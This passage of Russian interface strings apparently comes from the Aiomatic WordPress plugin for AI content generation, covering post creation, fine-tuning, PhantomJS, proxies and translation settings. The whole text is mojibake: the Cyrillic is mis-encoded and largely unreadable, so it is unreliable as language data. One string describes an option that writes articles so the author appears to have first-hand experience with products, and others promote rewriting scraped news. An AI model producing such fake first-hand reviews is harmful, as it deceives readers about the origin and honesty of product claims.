Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, Ñозданному AIТекÑÑ‚ HTML Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, Ñозданному AI:HTML-текÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿ÐµÑ€ÐµÐ´ Ñодержимым, Ñозданным AIHTML-текÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, Ñозданному AI:HTML-текÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð°ÑƒÐ´Ð¸Ð¾/видео:ГаитÑнÑкий креольÑкийГаитÑнÑкий креольÑкий (переводчик Google)ХауÑаХауÑа (переводчик гугл)Возникли проблемы Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼? ОбÑзательно ознакомьтеÑÑŒ Ñ Ð½Ð°ÑˆÐ¸Ð¼Ð¸ knowledge-base прежде чем вы ÑвÑжетеÑÑŒ нашей поддержкой!гавайÑкийГавайÑкий (переводчик Google)Шаблон заголовковРаÑположение Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°ÐœÐµÑтоположение Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°:МеÑтоположение изображениÑ/видео заголовкаМеÑтоположение изображениÑ/видео в заголовке:Ключ HeadlessBrowserAPI (необÑзательно)Ðаушники или вкладышиЗдоровьеивритИврит (переводчик гугл)Привет! ÐœÐµÐ½Ñ Ð·Ð¾Ð²ÑƒÑ‚Ð’Ð¾Ñ‚ неÑколько вариантов, которые у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ, чтобы помочь Ñоздать данные Ð´Ð»Ñ Ñ‚Ð¾Ñ‡Ð½Ð¾Ð¹ ÐаÑтройки (выберите тот, который лучше вÑего ÑоответÑтвует вашим потребноÑÑ‚Ñм)ЗдеÑÑŒ вы также можете загрузить Ñвои данные или напрÑмую загрузить их в OpenAI Ð´Ð»Ñ Ð¸ÑпользованиÑ. Полезный Ñовет: чтобы Ñобрать данные, начните Ñо Ñбора информации о Ñтраницах вашего Ñайта, Ñодержании и любых идеÑÑ…, которые у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ. Попробуйте Ñоздать файл или неÑколько файлов без Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ HTML или других ненужных Ñлементов. ЕÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ доÑтуп к ChatGPT, иÑпользуйте его Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ большого количеÑтва ВопроÑов и Ответов на оÑнове вашего Контента. Соберите данные в Google Sheet Ñ Ð´Ð²ÑƒÐ¼Ñ Ñтолбцами и обÑзательно проÑмотрите и улучшите их. Ðабор данных должен Ñодержать не менее 500 Ñтрок, чтобы предлагать полезные результаты, и гораздо больше, еÑли вы хотите добитьÑÑ Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов. СоглаÑно документации OpenAI, рекомендуетÑÑ Ð±Ð¾Ð»ÐµÐµ 3000 Ñтрок. Ðо в конечном итоге Ñто завиÑит от того, чего вы пытаетеÑÑŒ доÑтичь. ОбÑзательно выберите базовую модель, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð¹ вы хотите Ñоздать точную ÐаÑтройку, из раÑкрывающегоÑÑ ÑпиÑка «ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒÂ», потому что на Ñтом шаге вы решаете, Ð´Ð»Ñ ÐºÐ°ÐºÐ¾Ð¹ модели вы хотите Ñоздать точную ÐаÑтройку Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶ÐµÐ½Ð½Ñ‹Ð¼Ð¸ данными. ОзнакомьтеÑÑŒ Ñ Ñ€ÐµÐºÐ¾Ð¼ÐµÐ½Ð´Ð°Ñ†Ð¸Ñми OpenAI по тонкой наÑтройке,ЗдеÑÑŒ вы Ñможете автоматичеÑки генерировать Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI мета Ð¿Ð¾Ð»Ñ SEO Ð´Ð»Ñ Ñтого ИзображениÑ.ЗдеÑÑŒ вы можете наÑтроить уÑÐ»Ð¾Ð²Ð¸Ñ Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñта:СкрытьСкрыть Обучающее ВидеоВыÑокое качеÑтво - ПлатноВыделение текÑтахиндиХинди (переводчик Google)ПодÑказка: вы можете иÑпользовать Ñледующие короткие коды в Ñтом поле наÑтроек: %%image_title%%, %%image_caption%%, %%image_alt%%, %%image_description%%, %%parent_title%%, %%parent_excerpt%%, %%parent_content%%, %%blog_title%%, %%random_sentence%%, %%random_sentence2%% + также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды.Ðажмите Ñту кнопку, и вÑе ПоÑÑ‚Ñ‹, Ñозданные Ñтим Плагином, будут удалены!Ðажмите Ñту кнопку, и вÑе правила будут удалены!Ðажмите Ñту кнопку, и ÐаÑтройки Плагина будут воÑÑтановлены до значений по умолчанию. Предупреждение! Ð’Ñе ÐаÑтройки будут потерÑны!Ðажмите Ñту кнопку, и плагин ÑоздаÑÑ‚ шаблоны OmniBlock по умолчанию, которые входÑÑ‚ в комплект поÑтавки плагина.Ðажмите Ñту кнопку, и плагин ÑоздаÑÑ‚ аÑиÑтентов по умолчанию, которые идут в комплекте Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼.Ðажмите Ñту кнопку, и Плагин ÑоздаÑÑ‚ формы по умолчанию, которые ПоÑтавлÑÑŽÑ‚ÑÑ Ð²Ð¼ÐµÑте Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼.Ðажмите Ñту кнопку, и плагин ÑоздаÑÑ‚ перÑонажей по умолчанию, которые идут в комплекте Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼.Ðажмите Ñту кнопку, и вы Ñможете Ñоздать резервную копию текущих шаблонов OmniBlock в файл.Ðажмите Ñту кнопку, и вы Ñможете Ñоздать резервную копию текущих помощников в файл.Ðажмите Ñту кнопку, и вы Ñможете Ñделать резервную копию текущих форм в файл.Ðажмите Ñту кнопку, и вы Ñможете Ñделать резервную копию текущих перÑонажей в файл.Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить шаблоны OmniBlock из файла.Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить аÑÑиÑтентов из файла.Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить формы из файла.Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить перÑонажей из файла.ХмонгХмонг (переводчик Google)Домашний URLДомашний URL:ДомашнÑÑ Ñ€Ð°Ð·Ð²Ð»ÐµÐºÐ°Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ ÑиÑтема или Ñмарт-ТВГоризонтальныйСколько раз повторÑÑ‚ÑŒ вызовы API в Ñлучае ÑÐ±Ð¾Ñ API:Как долго ждать перед редактированием новых ПоÑтов: УÑтановите задержку Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа редактированиÑ. Это может быть полезно, еÑли вы хотите проÑмотреть ПоÑÑ‚Ñ‹ ÑамоÑтоÑтельно, прежде чем они будут автоматичеÑки отредактированы.ÐаÑколько Ñильно init_image влиÑет на процеÑÑ Ð´Ð¸Ñ„Ñ„ÑƒÐ·Ð¸Ð¸. При значениÑÑ…, близких к 1, получаютÑÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ, очень похожие на init_image, в то Ð²Ñ€ÐµÐ¼Ñ ÐºÐ°Ðº при значениÑÑ…, близких к 0, Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ Ñильно отличатьÑÑ Ð¾Ñ‚ init_image. Поведение Ñтого параметра повторÑет ползунок DreamStudio "Image Strength". Этот параметр ÑвлÑетÑÑ Ð°Ð»ÑŒÑ‚ÐµÑ€Ð½Ð°Ñ‚Ð¸Ð²Ð½Ñ‹Ð¼ ÑпоÑобом уÑтановки step_schedule_start, который выполнÑетÑÑ Ñ‡ÐµÑ€ÐµÐ· вычиÑление 1 - image_strength. Ðапример, при передаче параметра Image Strength 35% (0.35) значение параметра step_schedule_start будет равно 0.65.ÐаÑколько Ñтрого процеÑÑ Ñ€Ð°ÑпроÑÑ‚Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ ÑоответÑтвует текÑту Промпты (более выÑокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´ÐµÐ»Ð°ÑŽÑ‚ изображение ближе к подÑказке). Значение по умолчанию — 7.ÐаÑколько Ñильно видео ÑоответÑтвует иÑходному изображению. ИÑпользуйте меньшие значениÑ, чтобы дать модели больше Ñвободы Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹, и большие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÐºÐ¾Ñ€Ñ€ÐµÐºÑ†Ð¸Ð¸ иÑкажений движениÑ.Как начать работу Ñ AI Формы?Как уÑтановить PhantomJs?Как иÑпользовать различные Функции Плагина? ÐравитÑÑ Ð§Ð°Ñ‚-бот AI, AI Создатель Контента , AI Редактор Контента , Обучение Модели AI, Ð’ÑтраиваниÑ, Формы AI и многое другое?ВенгерÑкий ÑзыкВенгерÑкий (переводчик Google)ГиперпараметрЯ очень рад видеть Ð²Ð°Ñ Ð½Ð° борту в качеÑтве пользователÑ!Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚Ñ‡Ð¸Ðº программыМне нужно найти очень релевантные беÑплатные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° Ñтатьи, пожалуйÑта, извлеките ÑпиÑок наиболее релевантных ключевых Ñлов, разделенных запÑтыми, из заголовка, Ð¾Ñ‚Ð´Ð°Ð²Ð°Ñ Ð¿Ñ€ÐµÐ´Ð¿Ð¾Ñ‡Ñ‚ÐµÐ½Ð¸Ðµ конкретным ÑÑылкам над общими ключевыми Ñловами. Добавьте наивыÑший приоритет к наиболее конкретному ключевому Ñлову, которое вÑе еще ÑвÑзано Ñ Ð¾Ñновной темой. Тем Ñамым вы поможете мне найти более подходÑщие и целевые Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° Ñтатьи. Заголовок ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ð² блоге: "%%post_title%%".Я также раÑÑкажу о том, как Aiomatic может улучшить ваши Ñкрапленные новоÑтные поÑÑ‚Ñ‹ , гарантируÑ, что ваш контент вÑегда будет Ñвежим, актуальным и интереÑным. ПопрощайтеÑÑŒ Ñо Ñкучным, Ñкучным контентом и поприветÑтвуйте Aiomatic!IDID*ID:ИÐФОРМÐЦИЯ: ÐаÑтройте Промпты AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° вкладке «Создатель ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий» изИÐФОРМÐЦИЯ: PhantomJS ОКИÐФОРМÐЦИЯ: ТеÑÑ‚ PhantomJS прошел уÑпешноИÐФОРМÐЦИЯ: PhantomJS не может быть запущен — запуÑк оболочки exec на вашем Ñервере запрещен (в ÑпиÑке отключенных_функций в php.ini). ПожалуйÑта, включите его и повторите попытку иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой функции плагина.FO: PhantomJS не может запуÑтитьÑÑ â€” на вашем Ñервере не включена оболочка exec. ПожалуйÑта, включите его и повторите попытку иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтой функции плагина.ИÐФОРМÐЦИЯ: PhantomJS не найден — уÑтановите его на Ñвой Ñервер или наÑтройте путь к нему в «ОÑновных наÑтройках» плагина!ИÐФОРМÐЦИЯ: Ð’Ñ‹ можете изменить ÑпоÑоб Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов, изменив ÐаÑтройки на вкладке «Редактирование шаблонов и параметров» Ñверху!ИÐФОРМÐЦИЯ: Ð’Ñ‹ можете изменить ÑпоÑоб Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов, изменив ÐаÑтройки на вкладке «Редактирование шаблонов и параметров» Ñверху! Также не забудьте Ñохранить ÐаÑтройки перед маÑÑовым редактированием поÑтов!IPIP: IP-адреÑ, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ был Ñделан запроÑ.иÑландÑкийИÑландÑкий (переводчик Google)ЕÑли Ñтот параметр включен, ÑÑ‚Ð°Ñ‚ÑŒÑ Ð±ÑƒÐ´ÐµÑ‚ напиÑана так, что может показатьÑÑ, что автор имеет непоÑредÑтвенный опыт работы Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð°Ð¼Ð¸.ЕÑли включено, продукты будут перемешиватьÑÑ, Ñ€Ð°Ð½Ð´Ð¾Ð¼Ð¸Ð·Ð¸Ñ€ÑƒÑ Ð¸Ñ… порÑдок при каждом запуÑке.ЕÑли указано, AI API приложит вÑе уÑÐ¸Ð»Ð¸Ñ Ð´Ð»Ñ Ð´ÐµÑ‚ÐµÑ€Ð¼Ð¸Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð¹ выборки, чтобы повторные запроÑÑ‹ Ñ Ð¾Ð´Ð½Ð¸Ð¼ и тем же начальным чиÑлом и параметрами возвращали один и тот же результат. Детерминизм не гарантируетÑÑ, поÑкольку Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² API на Ñерверной чаÑти могут быть внеÑены в течение более длительных периодов времени.ЕÑли у Ð²Ð°Ñ ÑƒÐ¶Ðµ еÑÑ‚ÑŒ помощники, Ñозданные на платформе OpenAI, вы можете импортировать Ñтих помощников, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ «Импортировать помощников из OpenAI». Ð’Ñе помощники по Ñозданию поÑвÑÑ‚ÑÑ Ð² плагине и их можно будет иÑпользовать.ЕÑли вы ищете быÑтрый ÑпоÑоб наÑтроить модуль запиÑи Контента Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI и Ñообщить ему некоторую информацию о вашей компании, Ñ Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°ÑŽ вам проверитьЕÑли вы ищете более Ñложный ÑпоÑоб наÑтроить ÑредÑтво запиÑи Контента AI и иметь возможноÑÑ‚ÑŒ «обучить» AI большому набору информации (путем ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÑобÑтвенной тонко наÑтроенной модели), Ñ Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°ÑŽ вам проверитьЕÑли вы иÑпользуете веб-Ñервер LiteSpeed, вам может потребоватьÑÑ Ð½Ð°Ñтроить его, чтобы увеличить Ð²Ñ€ÐµÐ¼Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Aiomatic.ЕÑли вы иÑпользуете редактирование Контента, Ñодержащего китайÑкие Ñимволы, попробуйте уÑтановить Ñтот ЧекбокÑ.ЕÑли вы уÑтановите Ñтот флажок, вÑе промпты, иÑпользуемые в плагине, будут обрабатыватьÑÑ ÐºÐ°Ðº еÑÑ‚ÑŒ, в одном текÑтовом блоке, незавиÑимо от новых Ñтрок в их Ñодержимом. ЕÑли флажок ÑнÑÑ‚, при каждом запуÑке будет выбиратьÑÑ Ñлучайный промпт из введенных Ñтрок промпта на оÑнове новых Ñтрок текÑта (таким образом вы Ñможете вводить неÑколько промптов, из которых плагин будет выбирать Ñлучайный при каждом запуÑке).ЕÑли вы уÑтановили флажок выше, чтобы отключить обработку пользовательÑких Типов ПоÑтов, вы можете определить здеÑÑŒ Разделенный запÑтыми ÑпиÑок Типов ПоÑтов, которые вÑе еще должны обрабатыватьÑÑ (иÑÐºÐ»ÑŽÑ‡Ð°Ñ Ð¿Ñ€Ð¾Ð¿ÑƒÑк).ЕÑли у Ð²Ð°Ñ Ð²Ð¾Ð·Ð½Ð¸ÐºÐ»Ð¸ проблемы при иÑпользовании вкладки «РаÑширенный режим Single AI Post Creator», уÑтановите Ñтот флажок.ЕÑли вы ÑтолкнулиÑÑŒ Ñ Ð·Ð°Ð¼ÐµÐ´Ð»ÐµÐ½Ð¸ÐµÐ¼ или даже полной оÑтановкой рабочего процеÑÑа ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, проблема может быть ÑвÑзана Ñ Cloudflare.ЕÑли вы ввели ÑпиÑок изображений в поле наÑтроек «СпиÑок избранных изображений по умолчанию», вы можете наÑтроить плагин, чтобы попроÑить ИИ выбрать изображение, которое лучше вÑего ÑоответÑтвует заголовку опубликованного ÑообщениÑ.ЕÑли вам нужна помощь в начале работы Ñ Aiomatic, обÑзательно ознакомьтеÑÑŒ ÑЕÑли вы заметили какое-либо замедление или Ñбой в Ñоздании Контента, Ñто может быть ÑвÑзано Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼Ð°Ð¼Ð¸ Ñлужб OpenAI API. Прежде чем повторить попытку, подождите, пока их уÑлуги не вернутÑÑ Ð² нормальное ÑоÑтоÑние.ЕÑли вы выбрали конкретный регион в Ñвоей учетной запиÑи Microsoft Azure, вы должны ввеÑти его здеÑÑŒ. Узнайте больше здеÑÑŒ . По умолчанию - глобальный.ЕÑли вы укажете тему ПоÑта здеÑÑŒ, Заголовки, которые вы ввели в поле ÐаÑтроек «СпиÑок Заголовоков ПоÑтов», не будут учитыватьÑÑ, а Заголовки будут автоматичеÑки Ñгенерированы на оÑнове Ñтой Темы! ОбÑзательно отредактируйте ÐаÑтройки «Заголовок» ниже, чтобы изменить ÑпоÑоб ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾ÐºÐ¾Ð²! Введите ÑпиÑок Тем ПоÑтов, по одной в каждой Ñтроке. ЕÑли вы оÑтавите Ñто поле пуÑтым, будут иÑпользоватьÑÑ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸, введенные в Поле ÐаÑтроек «СпиÑок Заголовоков ПоÑтов». ЕÑли вы введете значение здеÑÑŒ, будут Ñозданы новые Заголовки на оÑнове Ñтой Темы, а Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¸Ð· «СпиÑка Заголовоков ПоÑтов» будут перезапиÑаны. ЕÑли вы введете неÑколько Тем (по одной в Ñтроке), при каждом запуÑке будет выбиратьÑÑ ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ Ð¢ÐµÐ¼Ð°. Это уÑтановит значение Шорткода %%topic%%, который можно иÑпользовать в Промптх ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание ПользовательÑких Шорткодов» в наÑтройках Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.ЕÑли вы уÑтановите здеÑÑŒ СпиÑок Тем ПоÑтов, Заголовки, которые вы ввели в Поле ÐаÑтроек \'СпиÑок Заголовоков ПоÑтов\', не будут учитыватьÑÑ, а заголовки будут автоматичеÑки Ñгенерированы на оÑнове Ñтой темы! ОбÑзательно отредактируйте ÐаÑтройки \'Заголовок\' ниже, чтобы изменить ÑпоÑоб ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾ÐºÐ¾Ð²! Введите ÑпиÑок Тем ПоÑтов, по одной в каждой Ñтроке. ЕÑли вы оÑтавите Ñто поле пуÑтым, будут иÑпользоватьÑÑ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸, введенные в поле ÐаÑтроек «СпиÑок Заголовоков ПоÑтов». ЕÑли вы введете значение здеÑÑŒ, будут Ñозданы новые заголовки на оÑнове Ñтой темы, а Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¸Ð· «СпиÑка Заголовоков ПоÑтов» будут перезапиÑаны. ЕÑли вы введете неÑколько Тем (по одной в Ñтроке), при каждом запуÑке будет выбиратьÑÑ ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð°. Это уÑтановит значение Шорткода %%topic%%, который можно иÑпользовать в Промптх ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.ЕÑли вы хотите Ñоздать длинный Контент (более 10000 Ñлов) в одном поÑте и получаете нежелательные результаты, вы можете уÑтановить Ñтот флажок Ð´Ð»Ñ Ð¸ÑправлениÑ.ЕÑли вы хотите получить макÑимальную наÑтраиваемоÑÑ‚ÑŒ Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… шорткодов, уÑтановите Ñтот флажок. Это позволит макÑимально наÑтраивать контент, Ñоздаваемый шорткодами.ЕÑли вы хотите запланировать Ñобытие cron вручную на Ñвоем Ñервере, чтобы разрешить повторное редактирование ÑущеÑтвующих Ñообщений на вашем Ñайте, вам Ñледует запланировать Ñтот адреÑ:ЕÑли вы хотите иÑпользовать SerpAPI Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ ÑвÑзанных Заголовоков Ð´Ð»Ñ Ñозданных ПоÑтов, вы должны добавить здеÑÑŒ Ñвой ключ API. По умолчанию Плагин парÑит иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ð¾Ð¸Ñк Bing Ð´Ð»Ñ ÑвÑзанных запроÑов. Получите ключ API здеÑÑŒ .ЕÑли вы хотите иÑпользовать ValueSERP Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ ÑоответÑтвующих Заголовоков Ð´Ð»Ñ Ñозданных ПоÑтов, вы должны добавить здеÑÑŒ Ñвой ключ API. По умолчанию Плагин очищает поиÑк Bing Ð´Ð»Ñ ÑвÑзанных запроÑов. Получите ключ API здеÑÑŒ.ЕÑли вы хотите иÑпользовать прокÑи-Ñервер Ð´Ð»Ñ Ð¾Ð±Ñ…Ð¾Ð´Ð° веб-Ñтраниц, и он требует аутентификации, введите здеÑÑŒ ÑÐ²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¾Ð± аутентификации. Требуемый формат: Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ: пароль. Ð’Ñ‹ можете ввеÑти Разделенный запÑтыми ÑпиÑок пользователей / паролей. ЕÑли прокÑи-Ñервер не имеет пользователÑ/паролÑ, пожалуйÑта, оÑтавьте его пуÑтым в ÑпиÑке. Пример: пользователь user1:pass1,user2:pass2,,user4:pass4.ЕÑли вы хотите иÑпользовать прокÑи Ð´Ð»Ñ ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²ÐµÐ±-Ñтраниц, введите его Ð°Ð´Ñ€ÐµÑ Ð·Ð´ÐµÑÑŒ. Требуемый формат: IP-адреÑ/URL:port. Ð’Ñ‹ можете ввеÑти Разделенный запÑтыми ÑпиÑок прокÑи-Ñерверов.ЕÑли вы хотите иÑпользовать Deepl Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð°, вы должны Ñначала ввеÑти Deepl «Ключ аутентификации». Получить одинздеÑÑŒ. ЕÑли вы введете значение здеÑÑŒ, новые опции Ñтанут доÑтупны в полÑÑ… «ÐвтоматичеÑки переводить Ñодержимое» и «ИÑходный Ñзык».ЕÑли вы хотите иÑпользовать Microsoft Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð°, вы должны Ñначала ввеÑти Microsoft Access Key. Узнайте, как получить его здеÑÑŒ . ЕÑли вы введете здеÑÑŒ значение, новые параметры Ñтанут доÑтупны в полÑÑ… «ÐвтоматичеÑки переводить Контент на» и «ИÑходный Ñзык».ЕÑли вы хотите иÑпользовать функцию поиÑка Google плагина при парÑинге ключевых Ñлов, введите здеÑÑŒ ключ API поиÑка Google. Получите один здеÑÑŒ. Включите API пользовательÑкого поиÑка в Google Cloud Console. Кроме того, Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка результатов по вÑей Ñети Ñледуйте Ñтому руководÑтву. Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð¸Ñковой ÑиÑтемы будет работать даже без ввода здеÑÑŒ ключа API, но в Ñтом Ñлучае будет иÑпользоватьÑÑ Bing API.ЕÑли вы хотите иÑпользовать HeadlessBrowserAPI Ð´Ð»Ñ Ñ€ÐµÐ½Ð´ÐµÑ€Ð¸Ð½Ð³Ð° контента, Ñгенерированного JavaScript, Ð´Ð»Ñ Ð²Ð°ÑˆÐ¸Ñ… Ñкрапленных Ñтраниц, введите здеÑÑŒ Ñвой ключ API. Получите один здеÑÑŒ. ЕÑли вы введете здеÑÑŒ значение, Ñтанут доÑтупны новые параметры в разделе «ИÑпользовать PhantomJs/Puppeteer/Tor Ð´Ð»Ñ Ð°Ð½Ð°Ð»Ð¸Ð·Ð° JavaScript на Ñтраницах» в наÑтройках правил импорта.ЕÑли вы хотите иÑпользовать официальную верÑию Google Translator API Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð°, вы должны Ñначала ввеÑти ключ Google API. Возьми один здеÑÑŒ . Включите Cloud Translation API в Google Cloud Console . Перевод будет работать даже без ввода здеÑÑŒ ключа API, но в Ñтом Ñлучае будет иÑпользоватьÑÑ Ð½ÐµÐ¾Ñ„Ð¸Ñ†Ð¸Ð°Ð»ÑŒÐ½Ñ‹Ð¹ API Google Translate.ЕÑли вы ÑвлÑетеÑÑŒ пользователем Cloudflare и ÑталкиваетеÑÑŒ Ñ Ð·Ð°Ð¼ÐµÐ´Ð»ÐµÐ½Ð¸ÐµÐ¼ рабочего процеÑÑа ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, одним из возможных ÑпоÑобов уÑÑ‚Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼Ñ‹ может быть увеличение времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ð² Cloudflare (еÑли Ñто возможно в вашем Ñлучае). Другим подходом может быть Ð´ÐµÐ°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ CloudFlare, когда вы иÑпользуете Плагин Aiomatic на Ñвоем Ñайте Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð´Ð»Ð¸Ð½Ð½Ð¾Ð³Ð¾ Контента (который иÑпользует неÑколько запроÑов API).ЕÑли вы хотите отредактировать ÑущеÑтвующие или недавно опубликованные ПоÑÑ‚Ñ‹, Aiomatic также предлагает редакторы Контента AI и избранные изображениÑ, Ñозданные AI, чтобы упроÑтить процеÑÑ. Ð Ð±Ð»Ð°Ð³Ð¾Ð´Ð°Ñ€Ñ Ñ€Ð°Ñширенным функциÑм, таким как Ñ‚Ð¾Ñ‡Ð½Ð°Ñ Ð½Ð°Ñтройка модели AI, вÑтраивание AI и ÑтатиÑтика иÑпользованиÑ, вы можете 